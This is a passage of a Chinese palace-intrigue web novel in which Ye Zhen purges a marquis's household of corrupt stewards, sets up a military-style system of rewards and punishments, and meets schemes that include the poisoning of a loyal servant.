忠勇侯察觉小儿子畏高,这两日便时常将他架在脖子上,训练他的胆色。
谢澜舟从开始的害怕,抱着忠勇侯的脑袋不肯撒手,到慢慢体会到乐趣,主动要求。
忠勇侯颇有成就感,爽朗道,“行,骑大马。”
说话间,便掐着幼子的腋下将人提溜到了肩上,“飞咯~”
谢瑾瑶满眼的羡慕落在忠勇侯眼中,让他心生愧疚。
女儿幼时,他甚少有机会陪伴,眼下孩子大了,女大避父,这辈子都再难有这样亲昵的机会。
便想着陪完儿子,再陪女儿下下棋,聊聊天,却见谢瑾瑶福了福身,乖顺道,“有爹爹陪着澜弟,瑶儿放心了,便先回去休息了。”
不争不抢,没趁机邀宠。
转身离开时,她脚步有些瘸,是跪久了所致。
忠勇侯心里很是疼惜,回到书房就让人将御赐的膏药给谢瑾瑶送了去。
谢瑾瑶露出一抹得意的笑。
而叶桢一连三日都是早上出门,日落方归,连忠勇侯都有些好奇她到底在做什么。
正欲派人叫叶桢过来问话时,叶桢将一沓罪证放在了他面前。
那些是府中几个管事作恶的证据,包括老管家的。
他们或草菅人命,或与外人勾结出卖侯府消息,或仗着侯府地势欺压百姓……
忠勇侯看完脸沉如水,“你这几日出门就是查这些?”
“是。”
“你又是如何得知这些事情,还是说你一早就知道?”
忠勇侯厉目盯着她。
据他所知,叶桢只看了账册,账册可透露不了这么多。
若叶桢一早就知道却隐瞒不报,便等同助纣为虐。
叶桢不闪不避,“儿媳是从那日的问话中得到的情报。”
忠勇侯表示质疑。
这些个管事大多是府中老人,而叶桢先前在府中并不得重视,那些个管事怎会轻易吐露?
叶桢替他解惑,“儿媳让他们互相举报……”
原来,那日她要了府中近三月的账册,是为从账册里找到管事们贪墨的证据。
再用这些证据要挟,让贪墨者举报其他管事的恶行,否则便将这些证据交给忠勇侯。
如忠勇侯所想,这些管事都是府中老人,但能被侯夫人提拔为管事的,都是签了死契,入了奴籍的。
哪怕贪墨的再少,按大渊律,都是能被杖杀或发卖的。
威胁在前,叶桢又同他们承诺,只要日后他们表现好,他们的子孙便能获得脱离奴籍的机会。
在大渊,一旦入了奴籍,世世代代都是奴籍。
奴籍的人不可科考,不可经商,永无出头可能,除非主家给他们脱籍。
在死和子孙前途之间,有人选择了后者。
叶桢再根据他们提供的消息,去要挟别的管事,如此,情报就如同雪球,越滚越大。
自然也有不敢举报的,但有把柄在叶桢手里,他们也不敢将叶桢的真实谈话透露出去。
故而谢瑾瑶什么都没问出来,在她轻敌时,叶桢则在落实证据。
她将经过一一告知忠勇侯,“父亲,那些只贪墨银钱,并无其他恶行者,儿媳想再给他们一次机会。”
水至清则无鱼,若她将所有犯事的管事全部处理,反而会引起众怒。
可她初掌家,需要立威,因而选了几个罪大恶极者,将他们作恶的证据,呈到忠勇侯面前。
她指了指那些证据,“但这几个人,儿媳必须杀,还请父亲支持。”
如此直白,又坚决。
忠勇侯是震惊且愤怒的,他没想到柳氏管理下的侯府,竟有这样多的肮脏。
更没想到叶桢闷不做声,短短几日功夫,便将管事们的底细摸得这般清楚。
但叶桢要杀的足有五人,其中还包括老管家。
老管家是老侯爷曾经的小厮,是看着忠勇侯长大的,在忠勇侯心里是不一样的。
虽然他也恼怒老管家这般作为。
“管家已过六旬,活不了几个年头,便免了他的管家之位送去庄子吧。”
叶桢的管家权是他给的,因而他不想在她刚上任就驳了她的颜面,故而用了商量口吻。
可叶桢坚持,“父亲,慈不掌兵,义不理财。
管家所为,府中好几个管事都知晓,若不惩治,儿媳难以服众。
光儿媳查到的,被他害死的就有三人,儿媳没查到的地方,又有多少无辜性命丧于他手。
儿媳知他对您意义不同,可那些死于他手之人,亦是被人记挂的。”
忠勇侯蹙眉,有些不悦。
叶桢毫不退让,老管家虽是老侯爷的人,但早投靠柳氏,也是柳氏一步步的纵容,让他成了今日这般。
原因叶桢猜得到,柳氏需要老管家的把柄,才能收服他。
此法,叶桢也可效仿,但她不想用。
杀这几人除了立威,还因他们都是侯夫人的心腹。
叶桢先前在府中不被看重,在他们眼里毫无威信,拉拢,感化这些招数,行不通。
反而会给自己带来无穷的麻烦。
叶桢也不想留这些作恶之人。
第32章 叶桢更像叶将军的女儿
僵持片刻,忠勇侯最终妥协。
因他清楚叶桢说得没错,老管家害无辜性命,确实罪无可恕。
却没想叶桢得寸进尺。
“儿媳还想请父亲将他们的卖身契交由儿媳。”
在高门大户,拿到下人卖身契才是真正手握生杀大权。
否则就是叶桢此次立威,将来也难管束他们。
忠勇侯在决定让叶桢管家时,就没想过藏着下人们的卖身契。
但今日叶桢一点情面都不给他,他心里到底是不舒服的。
叶桢自然明白他的别扭,“父亲才是侯府真正的当家人,若日后叶桢做得不好,父亲可随时收回这些卖身契以及管家权。”
她研究过忠勇侯,只要她无大错,亦无外人挑唆干涉,他不会轻易剥夺她的管家权。
忠勇侯见她知道服软,这才熨帖了些。
当即将府中所有下人的卖身契全部交由叶桢。
叶桢又开了口,“叶桢还想向父亲借两个人。”
两个帮她施刑的人。
忠勇侯觉得叶桢过分了,不给他面子就算了,竟还要他的人去杖杀老管家。
他没拒绝,但语气就没那么好了,“还想要什么?可一次说清。”
叶桢笑,“没了。”
但是她指名带走了忠勇侯的两个亲随,陈青和吴东。
他们都是忠勇侯心腹,许多时候代表的就是忠勇侯。
叶桢这是狗仗人势。
忠勇侯在心里如此骂道。
又觉得这样骂自己的儿媳好像哪里不对。
不过他也懒得深想了,他现在更好奇叶桢究竟能把家管到什么地步。
便踱步跟在了叶桢身后,但又不想给叶桢助威,因而隐在了暗处。
忠勇侯府的下人,终于等来了叶桢的新官上任。
叶桢将所有下人全部叫到忠勇侯的演武场。
没有多余废话,亮出卖身契后,直接让挽星当众说出五人罪行。
老管家最先喊冤。
叶桢便将自己查到的证据念给他听。
“少夫人,这是污蔑……”
“是否污蔑,你心知肚明。”
叶桢厉声打断他,“侯府今日荣耀,乃老侯爷,侯爷,世子祖孙三代用鲜血拼来的。
身为侯府下人,在外所言所行皆代表着侯府。
你身为侯府大管家,更当以身作则,起好带头作用。
可你都做了什么?可对得起侯爷信任?
既是你带头失责,那今日我便先拿你开刀,正一正这府中的风气。”
老管家在侯府一辈子,连忠勇侯都给他几分颜面,因而他从未将叶桢看在眼里。
更未觉得叶桢有能力管这个家,但陈青和吴东的出现让他不安。
他大喊,“侯爷,老奴冤枉,那些证据都不是真的,老奴在侯府兢兢业业一辈子啊……”
他知道只有侯爷能救他。
叶桢却未再与他争辩,找那些证据是给忠勇侯看的,可不是向下人们证明的。
她语声沉稳威严,“来人,杖毙!”
事情已得到忠勇侯首肯,陈青吴冬自没有迟疑。
所有人都不可置信地看着老管家被按在了凳子上,板子毫不留情地打在他身上。
有人反应过来忙为他求情。
若向来有威望的老管家都被惩治了,那他们又岂能逃过?
可叶桢只冷冷看着他们,“老管家作恶时,你们可曾规劝?
若不曾,今日又有何资格为他求情?
那些死于他手的人,哪个不是娘生父母养?哪个不是只有命一条,谁又该死?
身为侯府大管家,为钱财出卖侯爷行踪,是为背主。
侯爷是侯府的天,若因老管家自私行为,让侯府的天有所损失,你们这些依附于侯爷的人,又有什么好下场?”
她扫视全场,下了最后判定,“刚被指认的五人,罪不容恕,皆当场杖毙,求饶者与之同罪。”
大家都不曾见过这样的叶桢,那凌厉气势竟远胜侯夫人。
见老管家已被打得血肉模糊,加之卖身契都在叶桢手上,除了另外也要被杖毙的四人嚎叫,无人再敢出声。
管家的妻子王嬷嬷先前假意称病,不愿来演武场,察觉到不对劲后匆匆赶来,恰好听到叶桢最后那句话。
她仗势惯了,又见自己男人被打,气得指着叶桢的鼻子骂道,“你不过乡野一村妇,骗得侯爷让你管家,你除了胡乱杀人又哪里会管家。
这般恶毒,滥杀无辜,就不怕天打雷劈,不得好死……”
“陈青。”
叶桢面色平静,“搅乱行刑,辱骂主家,杀!”
王嬷嬷仗着自己男人是管家,在府中欺负其他下人是常态,就是叶桢也屡次被她刁难,所做之恶不必冯嬷嬷少。
老管家行的那些恶,亦有她的一半,便是今日她不来,叶桢也打算日后寻机会处置了她。
忠勇侯见陈青当真要去拿王嬷嬷,他不淡定了。
觉得叶桢这样过于冒进了。
正欲出面阻止,却被不知何时站在他身后的谢霆舟扯住了衣袖。
“既用了人家,就得信人家,侯府眼下瞧着荣光,烈火烹油,鲜花着锦的。
可若再纵容下去,被用心之人拿了把柄,这些账都是要算在你头上的。”
纵奴行恶,可大可小,忠勇侯又有几个脑袋。
谢霆舟视线落在叶桢身上。
今日的叶桢让他有些意外,她有私心,但也真心在为忠勇侯整肃府邸。
忠勇侯到底没现身,因为陈青已在叶桢的示意下,当场割了王嬷嬷的脖子。
他再出现也晚了。
另五人咽气后,叶桢当即从下人中提拔了四人出来顶上,管家的位置暂时空缺。
同样的职位,她有捧有压,让管事们彼此嫉妒,避免他们抱团。
又将十几个大管事组成一个队,按府中日常所需排列先后顺序,彼此监督。
诸如,灶房的大管事可监督采办管事,并定下规定,“前者错,月银归后者,后者错,月银归公中。
错三次免去职位,三次以上者发卖出府。
越序举报者赏银五两,全员无措,月底各赏八两。”
又立下另一府规,“满府下人三年无错,可竞选管事职位,五年无错,可换取一个脱离奴籍的名额……”
忠勇侯觉出一丝不对劲来,“这个听着怎么有些熟悉?”
他问谢霆舟。
“前者退,后者斩之,后者退,统领斩之。”
谢霆舟眼中有惊愕,“是叶惊鸿将军所创的同心阵。”
当年苍狼国大肆来犯,他们擅长游击战,又异常凶残。
且崇尚赴死精神,使得大渊将士未战先怯,甚至临阵脱逃,以至于大渊接连兵败,连失多座城池。
后叶惊鸿横空出世,创立同心阵,定下严苛军律,再无将士敢逃,方将苍狼军打退,护大渊多年太平。
谢霆舟没想到,叶桢竟将同心阵用在了掌家上。
忠勇侯亦是满目震惊。
先严惩立威,再厚赏,用阶段流动抓住底层渴望求上的心,这完全是叶惊鸿带兵的作风。
刚这样想,他又听得叶桢朗声道,“万众一心,群山亦可撼。
侯府是我们共同的家,唯有大家一心,侯府才能越来越好,你们亦会更好……”
他一把抓住谢霆舟的胳膊,激动道,“你听到了没,前头那句话,是叶惊鸿曾用来鼓舞士气的话。”
那一次的战前动员,他听得热血沸腾,只恨不能立即冲出去杀了那帮苍狼鬼,无惧生死。
因而记忆犹新。
他又想起,叶桢曾提过,说叶惊鸿曾于她书信教导,他以为只是寻常的姑侄联络。
现下才正视叶桢口中的教导二字,叶惊鸿这是连兵法都教了啊。
“从前总觉得叶晚棠不像惊鸿,没承她半点飒爽英姿,定是随了她那死鬼父亲。
本侯还多次遗憾惊鸿后继无人,今日看叶桢,竟莫名觉得她才该是惊鸿的女儿。”
说者无心,听着有意。
谢霆舟想到叶家夫妇对叶桢的态度,眸色渐渐幽暗……
第33章 侯爷教女
“父亲可见过叶将军的丈夫?”
谢霆舟如是问。
他只知叶惊鸿幼时被人贩子拐卖,得江湖隐士高人相救,收为徒弟,授予一身绝世武功。
参军前,一年约莫回京一两月,其余大半时间都在江湖,丈夫亦是江湖中人,叶惊鸿刚有孕,他便去世了。
具体情况,不得而知。
忠勇侯刚刚的话让他有了些怀疑,叶晚棠不只性格不似叶惊鸿,连容貌与叶惊鸿也无多少相似之处。
忠勇侯却摇头。
“不曾,他非京城人士,不曾来过京城,两人是在外头成的婚。”
他没说的是,他甚至都怀疑,叶惊鸿没有成婚。
但女子未婚有孕是会被世人诟病的,事关旧友名节,他从不敢深究。
担心谢霆舟多想,他补充道,“虽没来京城,但叶家当时送了嫁妆出去,也在京城办了嫁女宴。”
一场不见新娘新郎的嫁女宴,当时颇惹争议。
这件事谢霆舟亦听说过。
他眉头蹙了蹙,忠勇侯和叶惊鸿算是好友,若他都不曾见过她的丈夫,只怕京城更无人见过。
那叶晚棠的容貌究竟是不是随了父亲,还是说……
忠勇侯狐疑,“怎的突然问起这些?”
这位可不是有闲心的。
谢霆舟还没应话,谢瑾瑶急匆匆赶来,“父亲,二嫂怎么杀了那么多人啊?”
罚跪几日,虽大多时候都在偷懒,但她被娇养长大。
又为博得忠勇侯好感,晚上还要去陪谢澜舟,因而觉得很是疲累。
早上就起得晚,叶桢集合全府下人时,她还没睡醒。
织云等婢女也只当叶桢就是训一训话,走个过场,让大家知道现在是她管家,便会散了。
因而也没特意唤醒她,等谢瑾瑶睡到自然醒,屋子里空无一人。
谢瑾瑶猜到是被叶桢叫走,寻来演武场时,正好看到老管家几人被处置。
她心里顿时乐开了花。
老管家夫妇可是祖父留下来的,连母亲都不敢轻易动他们,叶桢这蠢货这会真是闯了好大一个祸。
不过闯得好啊。
就算父亲能被她蒙骗,祖母回来也绝不会轻饶她,那王嬷嬷从前可是伺候祖母的。
因而她又躲在暗处看了好一会儿,努力压下上扬的嘴角,才来寻忠勇侯。
“老管家和王嬷嬷在府上一辈子,那么大年纪,二嫂怎么,怎么就……”
她很是害怕的样子,“父亲,一下死好几个,二嫂会不会太残暴了。
传出去对侯府的名声怕是也不好。”
谢霆舟冷笑,“杀几个恶奴就是残暴,那在你眼里本世子岂不是地狱阎罗?”
他可是焚杀了五万俘虏。
谢瑾瑶心里就是这么认为的,但她不敢随意惹谢霆舟。
她现在的目标是叶桢。
“瑾瑶不敢这样想大哥,大哥这样做定有这样做的道理。
可家里和战场到底是不一样的,老管家他们不是敌军啊。
瑾瑶小的时候,他还抱过瑾瑶。”
亦抱过忠勇侯。
她刻意提及,又假意伤心,“就算他们再有错,寻个庄子打发了也好啊。”
虽不知为何行刑的是父亲的亲随,但母亲说过,父亲对老管家是有感情的。
先前母亲想小惩老管家,老管家找父亲求情,那事都不了了之了,眼下老管家被打死,父亲定然难过,说不定还恨叶桢。
这话若早些说,便是说到了忠勇侯的心坎里。
但眼下,他拍了拍女儿的肩,“跟为父去书房。”
谢瑾瑶见忠勇侯似乎并不生气,有些茫然。
但也谨慎得不敢再多言。
在书房坐下,忠勇侯便将叶桢找的证据拿给她看。
又将叶桢是如何得到这些情报以及查出这些证据,一并告知了谢瑾瑶。
谢瑾瑶大骇,“父亲,这里头会不会有假?”
她始终不愿意相信叶桢真有这个能耐。
忠勇侯约莫知道女儿的心思,摇头。
真假他还是分辨得清的。
谢瑾瑶不甘心,“她那个奖赏是不是太多了,这里几两,那里几两,家业再大,也经不起这样大度的。
还有那什么脱离奴籍名额,奴才就是奴才,这样岂不是乱了套了?”
关于奖赏,叶桢给忠勇侯看过管事们每月贪墨的账册。
奖赏听着挺多,但管事们贪墨的远不止于此。
他耐心解释给谢瑾瑶听。
“……若这点赏赐能让下人恪守本分,一心为侯府,这钱花得值。
赏赐亦是激励,父亲领兵打仗也时常如此。”
忠勇侯联想到了叶惊鸿所言,“畏我严律,甚于畏敌,则战必胜。”
叶桢的赏罚亦是如此道理。
若侯府能让他们更好地生活,他们便不会轻易行恶,没准侯府产业也会比从前更盈利。
见忠勇侯为叶桢说话,谢瑾瑶忙解释,“父亲,女儿不是对二嫂有意见,女儿只是担心二嫂没经验,这样胡来一通最后会害了侯府,害了您……”
忠勇侯打断她,语重心长,“瑶儿,你可知你与叶桢的区别?”
谢瑾瑶不知忠勇侯为何这样问,摇了摇头。
“父亲知道你也想要掌家权,但叶桢在努力做事,因此展示自己的能力,而你将心思花在了讨好父亲上。
作为你的父亲,我很高兴能得你亲近。
但今日父亲想同你说,往后遇到小事,可以指望别人,但遇到大事,一定不要把自身命运拴在别人身上。
纵然我是你的父亲,今日也无法满足你心中所愿。
因为父亲看到了叶桢的能力,也因父亲不曾看到你的本事。
你的人生还很长,记住父亲今日所言。”
忠勇侯趁机教女。
谢瑾瑶丝毫没明白老父亲的用心,只觉难堪。
她讨好的把戏竟被父亲看出来了。
那她这些日子在父亲眼中岂不像个跳梁小丑。
什么疼爱怜惜全是假的。
她眼泪簌簌落下,心里悄然生出恨意。
“可自小母亲就教导瑶儿,父亲是瑶儿的天,是瑶儿身后最大的依仗,瑶儿一直以为是这样的。”
忠勇侯宽厚的大掌慈爱地拍在女儿头顶,“父亲永远是你的依仗,可你将来要嫁人,父亲也有老去的时候。
孩子,人在这世间真正能依靠的只有自己。
你还年轻,还有机会,往后多同你二嫂学学……”
谢瑾瑶是咬着后槽牙走出书房的。
忠勇侯后面说的话,她是一个字都不想听。
她是忠勇侯府嫡女,只要父亲肯支持她,她有什么做不成,只要父亲始终疼惜她看重她,便是将来嫁了,夫家又怎敢欺负她。
父亲变了!
都是叶桢,是她蛊惑了父亲。
“我要除了她,一刻都等不了。”
回到房中后,谢瑾瑶咬牙切齿,低声在织云耳边吩咐着。
每次父亲回京,都会在家中宴请部下以示犒劳,这次凯旋,必定更会开宴。
如今叶桢掌家,这宴席便是她操办,她要利用这次宴请彻底除了叶桢。
织云听完她的话,微微迟疑,“大小姐,这会不会太冒险了?”
谢瑾瑶脸色一沉,“如今你还看不明白吗?
叶桢已经入了父亲的眼,若我们再无行动,这个家就彻底落在叶桢手中了。”
那也是织云绝不愿看到的,因而她没再犹豫,寻了个借口便出了府。
第34章 柳氏在外有人,谢瑾瑶身世有异
叶桢杀了老管家,忠勇侯都未出面,下人们便知,叶桢掌家已是板上钉钉,忠勇侯做了她的靠山。
加之她那番立威,自然就有人上赶着在她面前表现。
因而织云出府的事,很快传到了叶桢耳中。
叶桢听完也只是淡淡一笑。
倒是挽星担忧,“要不要奴婢去跟着?”
她担心谢瑾瑶不甘心,想害她家小姐。
叶桢摇了摇头,“不必。”
谢瑾瑶要害她,这一点毋庸置疑。
但她观察织云此人城府颇深,未必想不到她会派人跟踪,此次出门没准是故意虚晃一枪。
他们也不能在织云每次出门都跟踪。
那样必定会惊动侯爷。
叶桢很清楚,忠勇侯依旧疼爱女儿。
上次敲打她,便说明忠勇侯看出她和谢瑾瑶不合,如今她当家,老父亲难免担心她亏待或者伺机报复谢瑾瑶,必定会留意一二。
虽她如今有了管家权,但侯府真正的当家人是忠勇侯,叶桢选择静观其变。
她让人送来府中近三年的账册。
账房管事很是忐忑,他是因贪墨被叶桢抓了把柄的人之一。
虽然叶桢说过从前的事既往不咎,只看将来。
可见叶桢又要查账,就很不安,因而小心翼翼问道,“三年出入账实在有些多,少夫人想看什么,老奴可替少夫人找找。”
叶桢摆摆手,示意他下去。
她要账册,除了查找谢云舟过去三年的踪迹,还想查点别的。
去庄上前,她意外发现柳氏在外有人,且听两人对话,谢瑾瑶似乎是柳氏和那男人的孩子。
叶桢还没来得及细查,就被柳氏打发去了庄子。
前世,更是至死都再无自由,因而叶桢不知那人是谁,只从两人对话判断,男子并非居住京城。
既是这样的关系,平日又不在一处,必定会有别的往来。
叶桢想看看能不能从账册里找点蛛丝马迹。
事关侯府嫡女的身世和忠勇侯的颜面,她必须证据确凿,且谨慎行事。
自不能叫账房管事知晓。
管事出了叶桢的院子,一脸忐忑,遇上别的管事,也再不敢和从前那般随意叙话,只点头招呼便各自忙碌。
他为求生举报了别的管事,别的管事定也举报过他,但具体谁举报了谁,只有举报者和叶桢清楚。
如今他看别的管事,既心虚,又提防,生怕再被人抓了错处,哪日被报到叶桢面前。
谢霆舟刚从府外回来,就看到了这一幕。
嘴角微微扬了扬,叶桢这招倒是管用,如此,府中管事们再不敢轻易抱团,还得拼命在她面前表现。
“主子,你笑什么?”
刑泽看了眼走远的两个管事,又看了看谢霆舟,有些看不懂。
谢霆舟没搭理他,径直回了墨院。
他们至今没查出山里那刺客的真正身份,更不曾查到他和谢云舟的关系。
谢霆舟坐在书案前,摩挲手中扳指,脑中在想,会不会叶桢在骗她?
刑泽不知主子所想,他被挽星拦住了去路。
挽星将一个食盒递给他,“这是我做的糕点,多谢你上次帮我家小姐。”
刑泽是个没开窍的钢铁直男,他觉得自己是奉命行事,因而认为挽星感谢的也是谢霆舟。
接了食盒,笑道,“我替我家主子谢谢挽星姑娘。”
挽星,……
看着邢泽大步离开的背影,挽星陷入沉思,是她没表达清楚吗?
又摸了摸自己的脸,小姐和师父他们都说她长得很是可爱好看。
可刚刚邢泽似乎并未多看她。
难道是师父教的不对?
想到师父,悲伤自挽星心中蔓延全身。
师父是叶将军给小姐找的师父。
小姐收下她和饮月后,让她们跟着她一起习武,师父便也成了她们的师父。
当年得知叶将军战况告急,与叶将军是好友的师父,便赶往相助。
最终和叶将军一同深陷沼泽,连尸身都未能找回。
这是小姐心中最大的痛。
叶将军看不惯叶家对小姐的忽视,却也碍于是兄长的家事,不便过多插手,对小姐有怜惜,更多是同情。
加之她常年在军中,除了仅有的一次见面,平日也只有书信往来。
可师父却是陪在小姐身边多年,拿小姐当亲女儿疼的,若她还活着,绝不会让人欺负了小姐。
她也不必为了给小姐找助力,去勾引刑泽了,偏偏她还做不好。
挽星一脸失落的回了院子。
见叶桢对着兵书发呆,知道小姐也是想师父了,便在门槛坐下,不去打搅。
叶桢细细摩挲兵书,眼底湿润。
师父得知她对兵法有兴趣,就亲自前往边境将母亲的兵书全背回了南边,送与她。
可那时她尚且年幼,许多都不能真正理解,师父出身江湖,年少不爱读书,更不通兵法,无法替她解惑。
就不厌其烦地给母亲写信,遇上母亲忙,未能及时回信,师父则会将她的困惑记下,快马赶去找母亲要答案,回来再细细讲给她听。
师父握惯了剑,最烦拿笔,可有时候担心记不住,或者记岔了,就会认认真真将母亲所言注解在纸上。
母亲的心中有天下,有叶晚棠,有叶家,有她,师父的心里却只有她。
可她……
叶桢将书合上,平复好情绪,拿起侯府账册,“挽星,进来帮忙。”
她想尽快处理完京城的事,往后便在师父和母亲牺牲地附近,择一处隐居。
那样,她便能时时去看他们,余生,她也算是有亲人相伴了……
与叶桢的悲伤不同,叶晚棠此时满是愤怒。
“之前她不是联络过你吗?怎么会找不到她的踪迹?”
在她对面站着的是将军府的大管事,射姑。
她曾是叶惊鸿的亲随,后被留在京城照顾叶晚棠。
前段时间,她收到一封信,信中让她多加看顾叶桢,等回京后对方再重谢。
射姑认出那字迹,似是叶惊鸿好友殷九娘的字迹。
再联想殷九娘当年隐居在南边的一座尼姑庵里,与叶桢居住的庄子颇近,或许两人因此有了交集。
这般想着,射姑便觉得这信就是殷九娘写的。
可殷九娘当年为救叶惊鸿而死,以为死的人,却来了信,射姑心生希冀,会不会将军也没死。
因而,她请求叶晚棠帮忙照拂叶桢,自己则带着人马不停蹄地去找殷九娘。
可最终什么都没寻到,又不放心叶晚棠,这才回到京城。
没想到,在她面前一向温柔的叶晚棠,今日会如此愤怒。
“小姐不必着急,先前她在信中说会来京城,那应是会来的。
等她到了京城,我们就去问将军的事。”
射姑安抚。
她将叶晚棠的反应,当做是女儿急着想知道母亲的情况,才如此反常。
可叶晚棠怎能不急。
“死”了几年的人,专门来信关照叶桢,足见两人关系绝非寻常。
叶桢可以活着,决不能有依仗地活着。
何况,眼下叶桢在侯府得势,若再有别的助力,万一叫她察觉了什么……
叶晚棠不敢想。
她决不能失去将军府嫡女的身份。
因而下令,“再去找,无论用什么方法,掘地三尺也要给我把她找出来。”
射姑蹙了蹙眉,“小姐,殷九娘是将军挚友,性子最是飒爽,她不出现,定是有不能出现的理由,大肆搜找,怕是不妥。”
将军曾说过,小姐性子随了叶正卿那个舅舅,若有头脑不清的时候,她得及时阻拦,甚至可以拒绝听令。
射姑觉得叶晚棠此时就不明智,因而她未有动作,而是说道,“小姐先冷静冷静,射姑想去看看叶桢表小姐。”
她当时满心想着将军的事,倒是有负殷九娘所托,如今回了京,起码得去见见对方,没准从叶桢那里能得到什么消息。
叶晚棠见她不遵令,心里已是极大的不满,还要去见叶桢,衣袖下的手攥的指节泛白。
她沉了口气,露出笑容,挽住射姑的胳膊。
“是我过于期盼母亲还活着,见你未找到人,才会情绪失控。
叶桢她很好,倒是你一路奔波,很是辛苦。
我也还未用膳,我让灶房多做几个菜,射姑陪我用点,明日我再陪你去见桢表妹,好不好?”
射姑看了看外面的天色,这个时间确实不适合登门。
但虽得叶惊鸿叮嘱,必要时可管束叶晚棠,却时刻谨记自己身份,极少越矩与叶晚棠同食。
可叶晚棠今日却百般撒娇,射姑到底心软应下了。
却没看到叶晚棠垂眸时,眼底闪过的杀意。
第35章 下毒
射姑洗漱一番过来时,饭菜已端上了桌。
她习惯性地替叶晚棠布菜,夹的都是叶晚棠爱吃的。
叶晚棠很是感动的样子,抱着她撒娇,“射姑,你对我最好了。
虽然母亲极少陪我,但我却从未缺失过母爱,射姑,在我心里你如同母亲。”
射姑忙放下筷子,起身,“小姐折煞射姑了,射姑只是将军的婢女,照顾小姐应当应分,这些话,小姐万不可再说了。”
将军在她心中犹如神龛,她怎敢与之并论。
其实若让她选,她宁愿跟在将军身边,和将军同生共死。
但小姐是将军唯一血脉,她得替将军照顾好小姐。
叶晚棠拉她坐下,“好了,射姑不想听,我以后就不说了。”
该死的奴才,总喜欢管这管那,她身为将军府嫡女,连说句话都要听她教导。
她实在是受够
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第36章 先下手为强
入夜,叶桢去墨院制作**时,同谢霆舟说了宴会一事。
“兄长可否同我讲讲那些军中男儿的脾性?”
既是要相看,自然是双方都要了解才能更好促进此事。
谢廷舟前些时日还觉得叶桢没有保媒的闲心。
今日她就得了这份差事,略一思量,便明白忠勇侯这心思怕是被人挑唆而起。
但他也盼着将士们能娶妻生子,故而没打算拿乔,正准备开口让邢泽同叶桢仔细讲讲。
没想今日的叶桢格外自觉,“兄长今日想吃什么?素蟹粉还是别的?”
谢霆舟挑了挑眉,“那便尝尝你擅长的。”
既然叶桢不是他要找的那个人,他便不想吃其他人做的素蟹粉。
叶桢擅长的就是素斋,因师父爱吃。
好吃的素斋比寻常菜更费时间,叶桢还想早些回去看账册,所以她炒了几个<
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第37章 破局
“若有人害你,你眨一下眼,需要我帮你,眨两下。”
叶桢快速敲击。
可射姑又是接连眨了九下。
“桢表姐?”
感觉叶桢在屋里呆得有些久,叶晚棠进了屋。
叶桢再无机会问射姑更多。
射姑看向叶晚棠,眼角有泪水划落。
她不能让世人知晓叶惊鸿的女儿,竟对照顾她多年的忠仆下手。
将军英明磊落一生,不该被叶晚棠毁了身后名。
这将军府本也是将军留给叶晚棠的,叶晚棠嫌她碍事,想要早些掌管自己的家业,她成全她,算是了了多年主仆情谊。
射姑闭上了眼,再不看叶晚棠。
将军牺牲多年,她想将军了,也该去同将军告罪,她有负将军所托,未能教好她的女儿。
故而她只能谢绝叶桢的好意。
但殷九娘的消息她想透露给叶桢,只她如今
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能动的就
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第38章 谢霆舟的身份
是谢霆舟!
没戴面具,以真容示人的谢霆舟。
他身上有伤。
“借你的地方躲一躲。”
谢霆舟神色如常,撕下衣摆将伤口包住。
视线在车室里巡了一圈,“你不用香?”
叶桢摇头,“不用。”
故而车内没什么可以遮掩他身上的血腥味。
“那劳烦弟妹想想法子,否则被武德司的人发现,弟妹也不好解释。”
武德司?
那是隶属皇帝的亲信机构,承担着监督、监管军队、官员以及敌国军事和政治情报,平日则负责皇宫警卫和安全的。
谢霆舟怎会惹上武德司。
“你做了什么?”
叶桢问话时,已弯腰起身,打开了坐垫下的暗格。
这马车是柳氏的,她也是上回坐这马车从庄上回来,才发现底座下竟有暗格。
暗格不小,容纳谢霆舟足矣。
谢霆舟的威胁叶桢听得懂,她选择救人。
男人没有迟疑,长腿跨入,淡淡飘出一句,“杀了他们的指挥使。”
叶桢欲盖暗格的手微微一抖。
大白天的进皇宫杀皇帝亲信,这人疯了不成。
瞪了暗格一眼,叶桢掀帘看外面,见旁边有卖烧鸡的,忙让挽星买了几只。
而后让挽星和朝露也进了马车。
叶桢打开包装,撕下两个鸡腿,分别递给挽星和朝露,“都尝尝味道如何,好吃便送去给侯爷下酒。”
自己也撕一小块肉,细细咀嚼着。
顿时满室都是鸡肉香味。
有人靠近马车时,挽星也有察觉,但刚掀帘就得了叶桢的眼神示意。
便明白这是小姐想救之人,买烧鸡的目的她也猜到了,因而大口咬了起来,“好吃。”
朝露不懂主仆俩心思,她只知道,叶桢给了她就要吃,吃了才能长身体,身体好才能打坏人。
正当三人吃得欢快时,马车被叫停。
“少夫人,是武德司的人在搜寻刺客。”
片刻后,陈青的声音在外面响起。
他骑马走在队伍最前面,武德司的人拦路,他才过来同叶桢说明情况。
随即另一道男声响起,“武德司奉陛下之命,捉拿刺客,还请少夫人通融,允我等入车内查看。”
是武德司副使雷策。
“好。”
叶桢示意挽星掀了车帘。
车帘一开,鸡肉香味飘了出去。
叶桢不好意思地解释,“看见路边有卖的,想卖几个孝敬父亲,又怕味道不好,便自己先尝尝。”
雷策动了动鼻子,没能闻出血腥味,朝两个下属使了个眼色。
那两人持刀进了马车。
挽星有些紧张,不由咽了咽口水,雷策鹰隼般的眸子立即看了过来。
叶桢握着挽星的手,又揽住朝露的肩头在她身边坐下,“别怕,武德司是陛下的人,陛下是明君,他们抓的都是坏人。”
两个丫头齐齐点头,朝露没见过这阵仗,吓得无意识地往叶桢怀里缩。
雷策看了叶桢一眼,视线落在她的座位下。
叶桢也顺着他的视线看了眼,担忧道,“这是我家婆母的马车,今日被我借了来用,可是有何不妥?”
夫妻一体,雷策说侯夫人不妥,便是说忠勇侯不妥。
忠勇侯是陛下亲口称赞的忠臣,正风头无两。
雷策确实也无证据证明这马车有问题,不好提出让叶桢他们下车,进一步查看。
只得抱拳,“打搅了,少夫人。”
但在侯府队伍前行时,派了两人暗处跟着,直到马车进入侯府,那两人亦在侯府附近蹲守。
叶桢回府下了马车,就让朝露将烧鸡都给了陈青。
一只是谢陈青今日陪同,其余的都是忠勇侯的。
她自己则带人安置了王氏和叶正卿。
叶正卿迫不及待想去拜见忠勇侯,但忠勇侯今日去了军营,且这两日都会在军营,叶桢敷衍了几句,便回了自己的院子。
至于马车里的人,她没再管。
夜里她去墨院制作面具时,不曾见到谢庭舟,叶桢没深究。
直到第二日,她才知道,谢霆舟杀的不只是武德司的指挥使,还有皇后宫里的护卫头领。
第三日,封赏圣旨下来后,叶桢约莫明白了他这样做的原因。
圣旨赐忠勇侯府丹书铁券,忠勇侯继续掌管边境十万军。
